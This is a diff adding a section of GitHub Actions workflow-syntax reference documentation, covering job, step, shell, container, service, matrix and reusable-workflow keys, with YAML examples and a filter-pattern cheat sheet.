+#### `on.workflow_call.secrets.<secret_id>`
+
+A string identifier to associate with the secret.
+
+#### `on.workflow_call.secrets.<secret_id>.required`
+
+A boolean specifying whether the secret must be supplied.
+{% endif %}
+
+## `on.workflow_run.<branches|branches-ignore>`
+
+{% data reusables.actions.workflows.section-specifying-branches %}
+
+## `on.workflow_dispatch.inputs`
+
+{% data reusables.actions.workflow-dispatch-inputs %}
+
+## `permissions`
+
+{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %}
+
+## `env`
+
+A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+
+Variables in the `env` map cannot be defined in terms of other variables in the map.
+
+{% data reusables.repositories.actions-env-var-note %}
+
+### Example
+
+```yaml
+env:
+  SERVER: production
+```
+
+## `defaults`
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults %}
+
+### `defaults.run`
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run %}
+
+## `concurrency`
+
+{% data reusables.actions.jobs.section-using-concurrency %}
+
+## `jobs`
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow %}
+
+### `jobs.<job_id>`
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-id %}
+
+### `jobs.<job_id>.name`
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-name %}
+
+### `jobs.<job_id>.permissions`
+
+{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %}
+
+## `jobs.<job_id>.needs`
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-needs %}
+
+## `jobs.<job_id>.if`
+
+{% data reusables.actions.jobs.section-using-conditions-to-control-job-execution %}
+
+## `jobs.<job_id>.runs-on`
+
+{% data reusables.actions.jobs.section-choosing-the-runner-for-a-job %}
+
+## `jobs.<job_id>.environment`
+
+{% data reusables.actions.jobs.section-using-environments-for-jobs %}
+
+## `jobs.<job_id>.concurrency`
+
+{% data reusables.actions.jobs.section-using-concurrency-jobs %}
+
+## `jobs.<job_id>.outputs`
+
+{% data reusables.actions.jobs.section-defining-outputs-for-jobs %}
+
+## `jobs.<job_id>.env`
+
+A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+
+{% data reusables.repositories.actions-env-var-note %}
+
+### Example
+
+```yaml
+jobs:
+  job1:
+    env:
+      FIRST_NAME: Mona
+```
+
+## `jobs.<job_id>.defaults`
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job %}
+
+### `jobs.<job_id>.defaults.run`
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job-run %}
+
+## `jobs.<job_id>.steps`
+
+A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job.
+
+You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+
+### Example
+
+{% raw %}
+```yaml
+name: Greeting from Mona
+
+on: push
+
+jobs:
+  my-job:
+    name: My Job
+    runs-on: ubuntu-latest
+    steps:
+      - name: Print a greeting
+        env:
+          MY_VAR: Hi there! My name is
+          FIRST_NAME: Mona
+          MIDDLE_NAME: The
+          LAST_NAME: Octocat
+        run: |
+          echo $MY_VAR $FIRST_NAME $MIDDLE_NAME $LAST_NAME.
+```
+{% endraw %}
+
+### `jobs.<job_id>.steps[*].id`
+
+A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+
+### `jobs.<job_id>.steps[*].if`
+
+You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+
+{% data reusables.actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+
+#### Example: Using contexts
+
+ This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+
+ ```yaml
+steps:
+  - name: My first step
+    if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %}
+    run: echo This event is a pull request that had an assignee removed.
+```
+
+#### Example: Using status check functions
+
+The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#status-check-functions)."
+
+```yaml
+steps:
+  - name: My first step
+    uses: octo-org/action-name@main
+  - name: My backup step
+    if: {% raw %}${{ failure() }}{% endraw %}
+    uses: actions/heroku@1.0.0
+```
+
+#### Example: Using secrets
+
+Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job.
+
+If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string.
+
+{% raw %}
+```yaml
+name: Run a step if a secret has been set
+on: push
+jobs:
+  my-jobname:
+    runs-on: ubuntu-latest
+    env:
+      super_secret: ${{ secrets.SuperSecret }}
+    steps:
+      - if: ${{ env.super_secret != '' }}
+        run: echo 'This step will only run if the secret has a value set.'
+      - if: ${{ env.super_secret == '' }}
+        run: echo 'This step will only run if the secret does not have a value set.'
+```
+{% endraw %}
+
+For more information, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)" and "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+### `jobs.<job_id>.steps[*].name`
+
+A name for your step to display on {% data variables.product.prodname_dotcom %}.
+
+### `jobs.<job_id>.steps[*].uses`
+
+Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+
+We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
+- Using the commit SHA of a released action version is the safest for stability and security.
+- If the action publishes major version tags, you should expect to receive critical fixes and security patches while still retaining compatibility. Note that this behavior is at the discretion of the action's author.
+- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+
+Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+
+Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on).
+
+#### Example: Using versioned actions
+
+```yaml
+steps:
+  # Reference a specific commit
+  - uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675
+  # Reference the major version of a release
+  - uses: {% data reusables.actions.action-checkout %}
+  # Reference a specific version
+  - uses: {% data reusables.actions.action-checkout %}.2.0
+  # Reference a branch
+  - uses: actions/checkout@main
+```
+
+#### Example: Using a public action
+
+`{owner}/{repo}@{ref}`
+
+You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        # Uses the default branch of a public repository
+        uses: actions/heroku@main
+      - name: My second step
+        # Uses a specific version tag of a public repository
+        uses: actions/aws@v2.0.1
+```
+
+#### Example: Using a public action in a subdirectory
+
+`{owner}/{repo}/{path}@{ref}`
+
+A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: actions/aws/ec2@main
+```
+
+#### Example: Using an action in the same repository as the workflow
+
+`./path/to/dir`
+
+The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: Check out repository
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Use local my-action
+        uses: ./.github/actions/my-action
+```
+
+#### Example: Using a Docker Hub action
+
+`docker://{image}:{tag}`
+
+A Docker image published on [Docker Hub](https://hub.docker.com/).
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: docker://alpine:3.8
+```
+
+{% ifversion fpt or ghec %}
+#### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}
+
+`docker://{host}/{image}:{tag}`
+
+A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: docker://ghcr.io/OWNER/IMAGE_NAME
+```
+{% endif %}
+#### Example: Using a Docker public registry action
+
+`docker://{host}/{image}:{tag}`
+
+A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: docker://gcr.io/cloud-builders/gradle
+```
+
+#### Example: Using an action inside a different private repository than the workflow
+
+Your workflow must checkout the private repository and reference the action locally. Generate a {% data variables.product.pat_generic %} and add the token as an encrypted secret. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+
+Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: Check out repository
+        uses: {% data reusables.actions.action-checkout %}
+        with:
+          repository: octocat/my-private-repo
+          ref: v1.0
+          token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %}
+          path: ./.github/actions/my-private-repo
+      - name: Run my action
+        uses: ./.github/actions/my-private-repo/my-action
+```
+
+### `jobs.<job_id>.steps[*].run`
+
+Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command.
+
+Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
+
+Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example:
+
+* A single-line command:
+
+  ```yaml
+  - name: Install Dependencies
+    run: npm install
+  ```
+
+* A multi-line command:
+
+  ```yaml
+  - name: Clean install dependencies and build
+    run: |
+      npm ci
+      npm run build
+  ```
+
+Using the `working-directory` keyword, you can specify the working directory of where to run the command.
+
+```yaml
+- name: Clean temp directory
+  run: rm -rf *
+  working-directory: ./temp
+```
+
+### `jobs.<job_id>.steps[*].shell`
+
+You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
+
+| Supported platform | `shell` parameter | Description | Command run internally |
+|--------------------|-------------------|-------------|------------------------|
+| Linux / macOS | unspecified | The default shell on non-Windows platforms. Note that this runs a different command to when `bash` is specified explicitly. If `bash` is not found in the path, this is treated as `sh`. | `bash -e {0}` |
+| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` |
+| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` |
+| All | `python` | Executes the python command. | `python {0}` |
+| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` |
+| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
+| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. |
+| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. |
+
+#### Example: Running a script using bash
+
+```yaml
+steps:
+  - name: Display the path
+    run: echo $PATH
+    shell: bash
+```
+
+#### Example: Running a script using Windows `cmd`
+
+```yaml
+steps:
+  - name: Display the path
+    run: echo %PATH%
+    shell: cmd
+```
+
+#### Example: Running a script using PowerShell Core
+
+```yaml
+steps:
+  - name: Display the path
+    run: echo ${env:PATH}
+    shell: pwsh
+```
+
+#### Example: Using PowerShell Desktop to run a script
+
+```yaml
+steps:
+  - name: Display the path
+    run: echo ${env:PATH}
+    shell: powershell
+```
+
+#### Example: Running a python script
+
+```yaml
+steps:
+  - name: Display the path
+    run: |
+      import os
+      print(os.environ['PATH'])
+    shell: python
+```
+
+#### Custom shell
+
+You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`.
+
+For example:
+
+```yaml
+steps:
+  - name: Display the environment variables and their values
+    run: |
+      print %ENV
+    shell: perl {0}
+```
+
+The command used, `perl` in this example, must be installed on the runner.
+
+{% ifversion ghae %}
+{% data reusables.actions.self-hosted-runners-software %}
+{% elsif fpt or ghec %}
+For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+{% endif %}
+
+#### Exit codes and error action preference
+
+For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts.
+
+- `bash`/`sh`:
+  - Fail-fast behavior using `set -eo pipefail`: This option is set when `shell: bash` is explicitly specified. It is not applied by default.
+  - You can take full control over shell parameters by providing a template string to the shell options. For example, `bash {0}`.
+  - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code.
+
+- `powershell`/`pwsh`
+  - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents.
+  - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code.
+  - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need.
+
+- `cmd`
+  - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script.
+  - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact.
+
+### `jobs.<job_id>.steps[*].with`
+
+A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case.
+
+#### Example
+
+Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: actions/hello_world@main
+        with:
+          first_name: Mona
+          middle_name: The
+          last_name: Octocat
+```
+
+### `jobs.<job_id>.steps[*].with.args`
+
+A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter.
+
+#### Example
+
+{% raw %}
+```yaml
+steps:
+  - name: Explain why this job ran
+    uses: octo-org/action-name@main
+    with:
+      entrypoint: /bin/echo
+      args: The ${{ github.event_name }} event triggered this step.
+```
+{% endraw %}
+
+The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+
+1. Document required arguments in the action's README and omit them from the `CMD` instruction.
+1. Use defaults that allow using the action without specifying any `args`.
+1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting.
+
+### `jobs.<job_id>.steps[*].with.entrypoint`
+
+Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run.
+
+#### Example
+
+```yaml
+steps:
+  - name: Run a custom command
+    uses: octo-org/action-name@main
+    with:
+      entrypoint: /a/different/executable
+```
+
+The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs.
+
+### `jobs.<job_id>.steps[*].env`
+
+Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs.<job_id>.env`](#jobsjob_idenv).
+
+{% data reusables.repositories.actions-env-var-note %}
+
+Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
+
+#### Example
+
+{% raw %}
+```yaml
+steps:
+  - name: My first action
+    env:
+      GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+      FIRST_NAME: Mona
+      LAST_NAME: Octocat
+```
+{% endraw %}
+
+### `jobs.<job_id>.steps[*].continue-on-error`
+
+Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails.
+
+### `jobs.<job_id>.steps[*].timeout-minutes`
+
+The maximum number of minutes to run the step before killing the process.
+
+## `jobs.<job_id>.timeout-minutes`
+
+The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360
+
+If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+
+{% note %}
+
+**Note:** {% data reusables.actions.github-token-expiration %} For self-hosted runners, the token may be the limiting factor if the job timeout is greater than 24 hours. For more information on the `GITHUB_TOKEN`, see "[About the `GITHUB_TOKEN` secret](/actions/security-guides/automatic-token-authentication#about-the-github_token-secret)."
+
+{% endnote %}
+
+## `jobs.<job_id>.strategy`
+
+Use `jobs.<job_id>.strategy` to use a matrix strategy for your jobs. {% data reusables.actions.jobs.about-matrix-strategy %} For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
+
+### `jobs.<job_id>.strategy.matrix`
+
+{% data reusables.actions.jobs.using-matrix-strategy %}
+
+#### Example: Using a single-dimension matrix
+
+{% data reusables.actions.jobs.single-dimension-matrix %}
+
+#### Example: Using a multi-dimension matrix
+
+{% data reusables.actions.jobs.multi-dimension-matrix %}
+
+#### Example: Using contexts to create matrices
+
+{% data reusables.actions.jobs.matrix-from-context %}
+
+### `jobs.<job_id>.strategy.matrix.include`
+
+{% data reusables.actions.jobs.matrix-include %}
+
+#### Example: Expanding configurations
+
+{% data reusables.actions.jobs.matrix-expand-with-include %}
+
+#### Example: Adding configurations
+
+{% data reusables.actions.jobs.matrix-add-with-include %}
+
+### `jobs.<job_id>.strategy.matrix.exclude`
+
+{% data reusables.actions.jobs.matrix-exclude %}
+
+### `jobs.<job_id>.strategy.fail-fast`
+
+{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-failfast %}
+
+### `jobs.<job_id>.strategy.max-parallel`
+
+{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-max-parallel %}
+
+## `jobs.<job_id>.continue-on-error`
+
+Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails.
+
+### Example: Preventing a specific failing matrix job from failing a workflow run
+
+You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run.
+
+{% raw %}
+```yaml
+runs-on: ${{ matrix.os }}
+continue-on-error: ${{ matrix.experimental }}
+strategy:
+  fail-fast: false
+  matrix:
+    node: [13, 14]
+    os: [macos-latest, ubuntu-latest]
+    experimental: [false]
+    include:
+      - node: 15
+        os: ubuntu-latest
+        experimental: true
+```
+{% endraw %}
+
+## `jobs.<job_id>.container`
+
+{% data reusables.actions.docker-container-os-support %}
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container %}
+
+### `jobs.<job_id>.container.image`
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-image %}
+
+### `jobs.<job_id>.container.credentials`
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-credentials %}
+
+### `jobs.<job_id>.container.env`
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-env %}
+
+### `jobs.<job_id>.container.ports`
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-ports %}
+
+### `jobs.<job_id>.container.volumes`
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-volumes %}
+
+### `jobs.<job_id>.container.options`
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-options %}
+
+## `jobs.<job_id>.services`
+
+{% data reusables.actions.docker-container-os-support %}
+
+Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner  automatically creates a Docker network and manages the life cycle of the service containers.
+
+If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow.
+
+If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port.
+
+For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)."
+
+### Example: Using localhost
+
+This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts.
+
+```yaml
+services:
+  nginx:
+    image: nginx
+    # Map port 8080 on the Docker host to port 80 on the nginx container
+    ports:
+      - 8080:80
+  redis:
+    image: redis
+    # Map TCP port 6379 on Docker host to a random free port on the Redis container
+    ports:
+      - 6379/tcp
+```
+
+### `jobs.<job_id>.services.<service_id>.image`
+
+The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a  registry name.
+
+### `jobs.<job_id>.services.<service_id>.credentials`
+
+{% data reusables.actions.registry-credentials %}
+
+#### Example
+
+{% raw %}
+```yaml
+services:
+  myservice1:
+    image: ghcr.io/owner/myservice1
+    credentials:
+      username: ${{ github.actor }}
+      password: ${{ secrets.github_token }}
+  myservice2:
+    image: dockerhub_org/myservice2
+    credentials:
+      username: ${{ secrets.DOCKER_USER }}
+      password: ${{ secrets.DOCKER_PASSWORD }}
+```
+{% endraw %}
+
+### `jobs.<job_id>.services.<service_id>.env`
+
+Sets a `map` of environment variables in the service container.
+
+### `jobs.<job_id>.services.<service_id>.ports`
+
+Sets an `array` of ports to expose on the service container.
+
+### `jobs.<job_id>.services.<service_id>.volumes`
+
+Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+
+To specify a volume, you specify the source and destination path:
+
+`<source>:<destinationPath>`.
+
+The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+
+#### Example
+
+```yaml
+volumes:
+  - my_docker_volume:/volume_mount
+  - /data/my_data
+  - /source/directory:/destination/directory
+```
+
+### `jobs.<job_id>.services.<service_id>.options`
+
+Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+
+{% warning %}
+
+**Warning:** The `--network` option is not supported.
+
+{% endwarning %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+## `jobs.<job_id>.uses`
+
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+
+The location and version of a reusable workflow file to run as a job. {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}Use one of the following syntaxes:{% endif %}
+
+{% data reusables.actions.reusable-workflow-calling-syntax %}
+
+### Example
+
+{% data reusables.actions.uses-keyword-example %}
+
+For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+
+### `jobs.<job_id>.with`
+
+When a job is used to call a reusable workflow, you can use `with` to provide a map of inputs that are passed to the called workflow.
+
+Any inputs that you pass must match the input specifications defined in the called workflow.
+
+Unlike [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs.<job_id>.with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context.
+
+#### Example
+
+```yaml
+jobs:
+  call-workflow:
+    uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main
+    with:
+      username: mona
+```
+
+### `jobs.<job_id>.with.<input_id>`
+
+A pair consisting of a string identifier for the input and the value of the input. The identifier must match the name of an input defined by [`on.workflow_call.inputs.<inputs_id>`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) in the called workflow. The data type of the value must match the type defined by [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype) in the called workflow.
+
+Allowed expression contexts: `github`, and `needs`.
+
+### `jobs.<job_id>.secrets`
+
+When a job is used to call a reusable workflow, you can use `secrets` to provide a map of secrets that are passed to the called workflow.
+
+Any secrets that you pass must match the names defined in the called workflow.
+
+#### Example
+
+{% raw %}
+```yaml
+jobs:
+  call-workflow:
+    uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main
+    secrets:
+      access-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }}
+```
+{% endraw %}
+
+{% ifversion actions-inherit-secrets-reusable-workflows %}
+
+### `jobs.<job_id>.secrets.inherit`
+
+Use the `inherit` keyword to pass all the calling workflow's secrets to the called workflow. This includes all secrets the calling workflow has access to, namely organization, repository, and environment secrets. The `inherit` keyword can be used to pass secrets across repositories within the same organization, or across organizations within the same enterprise.
+
+#### Example
+
+{% raw %}
+
+```yaml
+on:
+  workflow_dispatch:
+
+jobs:
+  pass-secrets-to-workflow:
+    uses: ./.github/workflows/called-workflow.yml
+    secrets: inherit
+```
+
+```yaml
+on:
+  workflow_call:
+
+jobs:
+  pass-secret-to-action:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Use a repo or org secret from the calling workflow.
+        run: echo ${{ secrets.CALLING_WORKFLOW_SECRET }}
+```
+
+{% endraw %}
+
+{%endif%}
+
+### `jobs.<job_id>.secrets.<secret_id>`
+
+A pair consisting of a string identifier for the secret and the value of the secret. The identifier must match the name of a secret defined by [`on.workflow_call.secrets.<secret_id>`](#onworkflow_callsecretssecret_id) in the called workflow.
+
+Allowed expression contexts: `github`, `needs`, and `secrets`.
+{% endif %}
+
+## Filter pattern cheat sheet
+
+You can use special characters in path, branch, and tag filters.
+
+- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`.
+- `**`: Matches zero or more of any character.
+- `?`: Matches zero or one of the preceding character.
+- `+`: Matches one or more of the preceding character.
+- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`.
+- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character.
+
+The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes. Also, if you use a [flow sequence](https://yaml.org/spec/1.2.2/#flow-sequences) with a pattern containing `[` and/or `]`, the pattern must be enclosed in quotes.
+
+```yaml
+# Valid
+branches:
+  - '**/README.md'
+
+# Invalid - creates a parse error that
+# prevents your workflow from running.
+branches:
+  - **/README.md
+
+# Valid
+branches: [ main, 'release/v[0-9].[0-9]' ]
+
+# Invalid - creates a parse error
+branches: [ main, release/v[0-9].[0-9] ]
+```
+
+For more information about branch, tag, and path filter syntax, see "[`on.<push>.<branches|tags>`](#onpushbranchestagsbranches-ignoretags-ignore)", "[`on.<pull_request>.<branches|tags>`](#onpull_requestpull_request_targetbranchesbranches-ignore)", and "[`on.<push|pull_request>.paths`](#onpushpull_requestpull_request_targetpathspaths-ignore)."
+
+### Patterns to match branches and tags
+
+| Pattern | Description | Example matches |
+|---------|------------------------|---------|
+| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). |  `feature/my-branch`<br/><br/>`feature/your-branch` |
+| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
+| `main`<br/><br/>`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`<br/><br/>`releases/mona-the-octocat` |
